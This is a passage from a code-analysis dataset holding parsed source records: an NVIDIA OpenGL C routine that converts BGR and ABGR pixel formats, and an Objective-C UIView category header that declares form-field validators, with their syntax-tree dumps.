990, 1009, 1064, 1070, 1076, 1091, 1098, 1110, 1122, 1133, 1154, 1175, 1196, 1217], "loops": [77, 89, 101, 282, 294, 306, 488, 500, 782, 794, 1097, 1109, 1121], "conditionals": [12, 15, 18, 22, 26, 28, 32, 33, 35, 38, 41, 42, 43, 45, 48, 49, 51, 54, 55, 57, 61, 62, 64, 67, 68, 70, 72, 75, 76, 79, 83, 85, 87, 91, 95, 97, 99, 103, 107, 109, 111, 115, 116, 119, 125, 127, 129, 131, 133, 136, 142, 144, 146, 148, 153, 157, 163, 165, 167, 169, 174, 178, 184, 186, 188, 190, 195, 200, 203, 206, 210, 214, 216, 220, 221, 223, 226, 228, 231, 233, 237, 238, 239, 241, 244, 245, 247, 250, 251, 253, 256, 257, 259, 263, 264, 266, 267, 268, 271, 272, 273, 274, 275, 278, 279, 281, 284, 288, 290, 292, 296, 300, 302, 304, 308, 312, 314, 316, 320, 321, 324, 330, 332, 334, 336, 338, 341, 347, 349, 351, 353, 358, 362, 368, 370, 372, 374, 379, 383, 389, 391, 393, 395, 400, 404, 410, 412, 414, 416, 421, 425, 426, 427, 429, 433, 434, 436, 437, 441, 442, 447, 448, 450, 452, 456, 460, 461, 464, 465, 469, 473, 477, 479, 483, 486, 487, 490, 494, 496, 498, 502, 506, 508, 510, 513, 514, 515, 516, 519, 523, 529, 531, 533, 540, 544, 550, 552, 554, 560, 566, 572, 577, 584, 589, 597, 607, 613, 618, 625, 630, 636, 642, 647, 654, 660, 666, 668, 670, 672, 676, 679, 685, 687, 689, 691, 695, 698, 704, 706, 708, 710, 714, 717, 723, 725, 727, 729, 736, 740, 741, 746, 747, 749, 751, 754, 755, 758, 759, 763, 767, 771, 773, 777, 780, 781, 784, 788, 790, 792, 796, 800, 802, 804, 807, 808, 809, 810, 813, 817, 823, 825, 827, 834, 838, 844, 846, 848, 854, 860, 866, 871, 878, 883, 891, 901, 907, 912, 919, 924, 930, 936, 941, 948, 954, 960, 962, 964, 970, 973, 979, 981, 983, 989, 992, 998, 1000, 1002, 1008, 1011, 1012, 1014, 1016, 1018, 1021, 1024, 1032, 1035, 1038, 1042, 1046, 1048, 1052, 1053, 1055, 1058, 1061, 1062, 1063, 1065, 1068, 1069, 1071, 1074, 1075, 1077, 1080, 1081, 1083, 1087, 1088, 1090, 1093, 1094, 1096, 1099, 1103, 1105, 1107, 1111, 1115, 1117, 1119, 1123, 1127, 1129, 1131, 1135, 1136, 1139, 1145, 1147, 1149, 1151, 1153, 1156, 1162, 1164, 1166, 1168, 1173, 1177, 1183, 1185, 1187, 1189, 1194, 1198, 1204, 1206, 1208, 1210, 1215, 1219, 1225, 1227, 1229, 1231, 1236, 1241, 1244, 1247, 1248, 1249, 1252, 1253, 1254, 1255, 1256, 1258, 1260, 1263, 1264, 1265, 1267, 1269, 1272, 1273, 1274, 1276, 1278, 1281], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 8, 24, 29, 81, 93, 105, 150, 154, 171, 175, 192, 196, 212, 217, 234, 286, 298, 310, 355, 359, 376, 380, 397, 401, 418, 422, 444, 481, 492, 504, 520, 535, 537, 541, 556, 558, 567, 568, 570, 579, 585, 587, 598, 599, 601, 608, 609, 611, 620, 626, 628, 637, 638, 640, 649, 655, 657, 674, 693, 712, 731, 733, 743, 775, 786, 798, 814, 829, 831, 835, 850, 852, 861, 862, 864, 873, 879, 881, 892, 893, 895, 902, 903, 905, 914, 920, 922, 931, 932, 934, 943, 949, 951, 966, 968, 985, 987, 1004, 1006, 1026, 1044, 1049, 1101, 1113, 1125, 1170, 1174, 1191, 1195, 1212, 1216, 1233, 1237], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 9, "universal_type": "function", "name": "gliConvertBGRtoRGB", "text_snippet": "void\ngliConvertBGRtoRGB(gliGenericImage *image)\n{\n const int components = 3;\n GLubyte pixel[3];\n "}, {"node_id": 11, "universal_type": "function", "name": "unknown", "text_snippet": "gliConvertBGRtoRGB(gliGenericImage *image)"}, {"node_id": 197, "universal_type": "function", "name": "gliConvertBGRAtoRGBA", "text_snippet": "void\ngliConvertBGRAtoRGBA(gliGenericImage *image)\n{\n const int components = 4;\n GLubyte pixel[4];\n"}, {"node_id": 199, "universal_type": "function", "name": "unknown", "text_snippet": "gliConvertBGRAtoRGBA(gliGenericImage *image)"}, {"node_id": 1029, "universal_type": "function", "name": "gliConvertABGRoRGBA", "text_snippet": "void\ngliConvertABGRoRGBA(gliGenericImage *image)\n{\n const int components = 4;\n GLubyte pixel[4];\n "}, {"node_id": 1031, "universal_type": "function", "name": "unknown", "text_snippet": "gliConvertABGRoRGBA(gliGenericImage *image)"}, {"node_id": 1238, "universal_type": "function", "name": "gliConvertImageToCoreFormat", "text_snippet": "void\ngliConvertImageToCoreFormat(gliGenericImage *image)\n{\n switch (image->format) {\n case GL_BGR_"}, {"node_id": 1240, "universal_type": "function", "name": "unknown", "text_snippet": "gliConvertImageToCoreFormat(gliGenericImage *image)"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include <assert.h>\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include <stdlib.h>\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"gli.h\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "\n/* gli_convert.c - OpenGL image (GLI) file loader */\n\n/* Copyright NVIDIA Corporation, 2000. */\n\n/* Fromat conversion routines for lightweight generic image\n file loader for OpenGL programs. */\n\n#include <assert.h>\n#include <stdlib.h>\n\n#include \"gli.h\"\n\nvoid\ngliConvertBGRtoRGB(gliGenericImage *image)\n{\n const int components = 3;\n GLubyte pixel[3];\n int w, h;\n GLubyte *pixels;\n int i, j, c;\n \n w = image->width;\n h = image->height;\n \n assert(image->format == GL_BGR_EXT);\n image->format = GL_RGB;\n \n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n }\n }\n}\n\nvoid\ngliConvertBGRAtoRGBA(gliGenericImage *image)\n{\n const int components = 4;\n GLubyte pixel[4];\n int w, h;\n GLubyte *pixels;\n GLubyte *spixels, spixel[2];\n int i, j, c;\n\n w = image->width;\n h = image->height;\n pixels = image->pixels;\n\n assert(image->format == GL_BGRA_EXT);\n \n switch (image->type) {\n case GL_UNSIGNED_BYTE:\n image->format = GL_RGBA;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }\n break;\n case GL_UNSIGNED_SHORT_1_5_5_5_REV:\n assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV);\n if (image->components == 4) {\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n } else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }\n image->type = GL_UNSIGNED_BYTE;\n free(spixels);\n break;\n default:\n assert(0);\n break;\n }\n}\n\nvoid\ngliConvertABGRoRGBA(gliGenericImage *image)\n{\n const int components = 4;\n GLubyte pixel[4];\n int w, h;\n GLubyte *pixels;\n int i, j, c;\n\n w = image->width;\n h = image->height;\n pixels = image->pixels;\n\n assert(image->format == GL_ABGR_EXT);\n image->format = GL_RGBA;\n\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[3];\n pixels[(j*w+i)*components+1] = pixel[2];\n pixels[(j*w+i)*components+2] = pixel[1];\n pixels[(j*w+i)*components+3] = pixel[0];\n }\n }\n}\n\nvoid\ngliConvertImageToCoreFormat(gliGenericImage *image)\n{\n switch (image->format) {\n case GL_BGR_EXT:\n gliConvertBGRtoRGB(image);\n break;\n case GL_BGRA_EXT:\n gliConvertBGRAtoRGBA(image);\n break;\n case GL_ABGR_EXT:\n gliConvertABGRoRGBA(image);\n break;\n default:\n /* Assume nothing needed. */\n break;\n }\n}\n"}
81,190
c
// // UIView+Devoe.h // LightPhoto // // Created by <NAME> on 6/6/14. // Copyright (c) 2014 <NAME>. All rights reserved. // #import <UIKit/UIKit.h> @interface UIView (Devoe) + (id) autolayoutView; + (UIImage *) getScreenShotOfView:(UIView *)theView; - (BOOL)validateNonZeroLength:(UITextField *)textField; - (BOOL)validateNameString:(UITextField *)textField; - (BOOL)validateAddress:(UITextField *)textField; - (BOOL)validateCity:(UITextField *)textField; - (BOOL)validateState:(UITextField *)textField; - (BOOL)validateZip:(UITextField *)textField; - (BOOL)validatePhone:(UITextField *)textField; - (BOOL)validateEmail:(UITextField *)textField; - (BOOL)validateCreditCard:(UITextField *)textField; - (BOOL)validateDate:(UITextField *)textField; - (BOOL)validateCVV:(UITextField *)textField; @end
33.83
23
(translation_unit) "//\n// UIView+Devoe.h\n// LightPhoto\n//\n// Created by <NAME> on 6/6/14.\n// Copyright (c) 2014 <NAME>. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@interface UIView (Devoe)\n\n+ (id) autolayoutView;\n+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField;\n- (BOOL)validateDate:(UITextField *)textField;\n- (BOOL)validateCVV:(UITextField *)textField;\n\n@end\n" (comment) "//" (comment) "// UIView+Devoe.h" (comment) "// LightPhoto" (comment) "//" (comment) "// Created by <NAME> on 6/6/14." (comment) "// Copyright (c) 2014 <NAME>. All rights reserved." (comment) "//" (preproc_call) "#import <UIKit/UIKit.h>\n" (preproc_directive) "#import" (preproc_arg) "<UIKit/UIKit.h>" (ERROR) "@interface UIView (Devoe)" (ERROR) "@" (type_identifier) "interface" (function_declarator) "UIView (Devoe)" (identifier) "UIView" (parameter_list) "(Devoe)" (() "(" (identifier) "Devoe" ()) ")" (expression_statement) "+ (id) autolayoutView;" (unary_expression) "+ (id) autolayoutView" (+) "+" (cast_expression) "(id) autolayoutView" (() "(" (type_descriptor) "id" (type_identifier) "id" ()) ")" (identifier) "autolayoutView" (;) ";" (ERROR) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField;\n- (BOOL)validateDate:(UITextField *)textField;\n- (BOOL)validateCVV:(UITextField *)textField;\n\n@end" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField;\n- (BOOL)validateDate:(UITextField *)textField;\n- (BOOL)validateCVV:(UITextField *)textField" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField;\n- (BOOL)validateDate:(UITextField *)textField;\n- (BOOL)validateCVV" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField;\n- (BOOL)validateDate:(UITextField *)textField" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField;\n- (BOOL)validateDate" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength" (binary_expression) "+ (UIImage *) getScreenShotOfView:(UIView *)theView" (unary_expression) "+ (UIImage *) getScreenShotOfView" (+) "+" (cast_expression) "(UIImage *) getScreenShotOfView" (() "(" (type_descriptor) "UIImage *" (type_identifier) "UIImage" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (identifier) "getScreenShotOfView" (ERROR) ":(UIView" (:) ":" (() "(" (identifier) "UIView" (*) "*" (ERROR) ")" ()) ")" (identifier) "theView" (ERROR) ";" (;) ";" (-) "-" (cast_expression) "(BOOL)validateNonZeroLength" (() "(" (type_descriptor) "BOOL" (type_identifier) "BOOL" ()) ")" (identifier) "validateNonZeroLength" (ERROR) ":(UITextField" (:) ":" (() "(" (identifier) "UITextField" (*) "*" (ERROR) ")" ()) ")" (identifier) "textField" (ERROR) ";" (;) ";" (-) "-" (cast_expression) "(BOOL)validateNameString" (() "(" (type_descriptor) "BOOL" (type_identifier) "BOOL" ()) ")" (identifier) "validateNameString" (ERROR) ":(UITextField" (:) ":" (() "(" (identifier) "UITextField" (*) "*" (ERROR) ")" ()) ")" (identifier) "textField" (ERROR) ";" (;) ";" (-) "-" (cast_expression) "(BOOL)validateAddress" (() "(" (type_descriptor) "BOOL" (type_identifier) "BOOL" ()) ")" (identifier) "validateAddress" (ERROR) ":(UITextField" (:) ":" (() "(" (identifier) "UITextField" (*) "*" (ERROR) ")" ()) ")" (identifier) "textField" (ERROR) ";" (;) ";" (-) "-" (cast_expression) "(BOOL)validateCity" (() "(" (type_descriptor) "BOOL" (type_identifier) "BOOL" ()) ")" (identifier) "validateCity" (ERROR) ":(UITextField" (:) ":" (() "(" (identifier) "UITextField" (*) "*" (ERROR) ")" ()) ")" (identifier) "textField" (ERROR) ";" (;) ";" (-) "-" (cast_expression) "(BOOL)validateState" (() "(" (type_descriptor) "BOOL" (type_identifier) "BOOL" ()) ")" (identifier) "validateState" (ERROR) ":(UITextField" (:) ":" (() "(" (identifier) "UITextField" (*) "*" (ERROR) ")" ()) ")" (identifier) "textField" (ERROR) ";" (;) ";" (-) "-" (cast_expression) "(BOOL)validateZip" (() "(" (type_descriptor) "BOOL" (type_identifier) "BOOL" ()) ")" (identifier) "validateZip" (ERROR) ":(UITextField" (:) ":" (() "(" (identifier) "UITextField" (*) "*" (ERROR) ")" ()) ")" (identifier) "textField" (ERROR) ";" (;) ";" (-) "-" (cast_expression) "(BOOL)validatePhone" (() "(" (type_descriptor) "BOOL" (type_identifier) "BOOL" ()) ")" (identifier) "validatePhone" (ERROR) ":(UITextField" (:) ":" (() "(" (identifier) "UITextField" (*) "*" (ERROR) ")" ()) ")" (identifier) "textField" (ERROR) ";" (;) ";" (-) "-" (cast_expression) "(BOOL)validateEmail" (() "(" (type_descriptor) "BOOL" (type_identifier) "BOOL" ()) ")" (identifier) "validateEmail" (ERROR) ":(UITextField" (:) ":" (() "(" (identifier) "UITextField" (*) "*" (ERROR) ")" ()) ")" (identifier) "textField" (ERROR) ";" (;) ";" (-) "-" (cast_expression) "(BOOL)validateCreditCard" (() "(" (type_descriptor) "BOOL" (type_identifier) "BOOL" ()) ")" (identifier) "validateCreditCard" (ERROR) ":(UITextField" (:) ":" (() "(" (identifier) "UITextField" (*) "*" (ERROR) ")" ()) ")" (identifier) "textField" (ERROR) ";" (;) ";" (-) "-" (cast_expression) "(BOOL)validateDate" (() "(" (type_descriptor) "BOOL" (type_identifier) "BOOL" ()) ")" (identifier) "validateDate" (ERROR) ":(UITextField" (:) ":" (() "(" (identifier) "UITextField" (*) "*" (ERROR) ")" ()) ")" (identifier) "textField" (ERROR) ";" (;) ";" (-) "-" (cast_expression) "(BOOL)validateCVV" (() "(" (type_descriptor) "BOOL" (type_identifier) "BOOL" ()) ")" (identifier) "validateCVV" (ERROR) ":(UITextField" (:) ":" (() "(" (identifier) "UITextField" (*) "*" (ERROR) ")" ()) ")" (identifier) "textField" (;) ";" (ERROR) "@" (identifier) "end"
262
39
{"language": "c", "success": true, "metadata": {"lines": 23, "avg_line_length": 33.83, "nodes": 152, "errors": 0, "source_hash": "b8f87147a39756aebe24d97ca8d1c4ade912cdd9fcc5d9ffaafe50c367d1bb3f", "categorized_nodes": 93}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import <UIKit/UIKit.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#import", "parent": 0, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "<UIKit/UIKit.h>", "parent": 0, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 23}}, {"id": 3, "type": "ERROR", "text": "@interface UIView (Devoe)", "parent": null, "children": [4, 5, 6], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 25}}, {"id": 4, "type": "ERROR", "text": "@", "parent": 3, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 1}}, {"id": 5, "type": "type_identifier", "text": "interface", "parent": 3, "children": [], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 10}}, {"id": 6, "type": "function_declarator", "text": "UIView (Devoe)", "parent": 3, "children": [7, 8], "start_point": {"row": 10, "column": 11}, "end_point": {"row": 10, "column": 25}}, {"id": 7, "type": "identifier", "text": "UIView", "parent": 6, "children": [], "start_point": {"row": 10, "column": 11}, "end_point": {"row": 10, "column": 17}}, {"id": 8, "type": "parameter_list", "text": "(Devoe)", "parent": 6, "children": [9], "start_point": {"row": 10, "column": 18}, "end_point": {"row": 10, "column": 25}}, {"id": 9, "type": "identifier", "text": "Devoe", "parent": 8, "children": [], "start_point": {"row": 10, "column": 19}, "end_point": {"row": 10, "column": 24}}, {"id": 10, "type": "unary_expression", "text": "+ (id) autolayoutView", "parent": null, "children": [11, 12], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 21}}, {"id": 11, "type": "+", "text": "+", "parent": 10, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 1}}, {"id": 12, "type": "cast_expression", "text": "(id) autolayoutView", "parent": 10, "children": [13, 15], "start_point": {"row": 12, "column": 2}, "end_point": {"row": 12, "column": 21}}, {"id": 13, "type": "type_descriptor", "text": "id", "parent": 12, "children": [14], "start_point": {"row": 12, "column": 3}, "end_point": {"row": 12, "column": 5}}, {"id": 14, "type": "type_identifier", "text": "id", "parent": 13, "children": [], "start_point": {"row": 12, "column": 3}, "end_point": {"row": 12, "column": 5}}, {"id": 15, "type": "identifier", "text": "autolayoutView", "parent": 12, "children": [], "start_point": {"row": 12, "column": 7}, "end_point": {"row": 12, "column": 21}}, {"id": 16, "type": "ERROR", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField;\n- (BOOL)validateDate:(UITextField *)textField;\n- (BOOL)validateCVV:(UITextField *)textField;\n\n@end", "parent": null, "children": [17, 151], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 28, "column": 4}}, {"id": 17, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- (BOOL)validateNameString:(UITextField *)textField;\n- (BOOL)validateAddress:(UITextField *)textField;\n- (BOOL)validateCity:(UITextField *)textField;\n- (BOOL)validateState:(UITextField *)textField;\n- (BOOL)validateZip:(UITextField *)textField;\n- (BOOL)validatePhone:(UITextField *)textField;\n- (BOOL)validateEmail:(UITextField *)textField;\n\n- (BOOL)validateCreditCard:(UITextField *)textField;\n- (BOOL)validateDate:(UITextField *)textField;\n- (BOOL)validateCVV:(UITextField *)textField", "parent": 16, "children": [18, 147, 149, 150], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 26, "column": 44}}, {"id": 18, "type": "binary_expression", "text": "+ (UIImage *) getScreenShotOfView:(UIView *)theView;\n\n- (BOOL)validateNonZeroLength:(UITextField *)textField;\n- 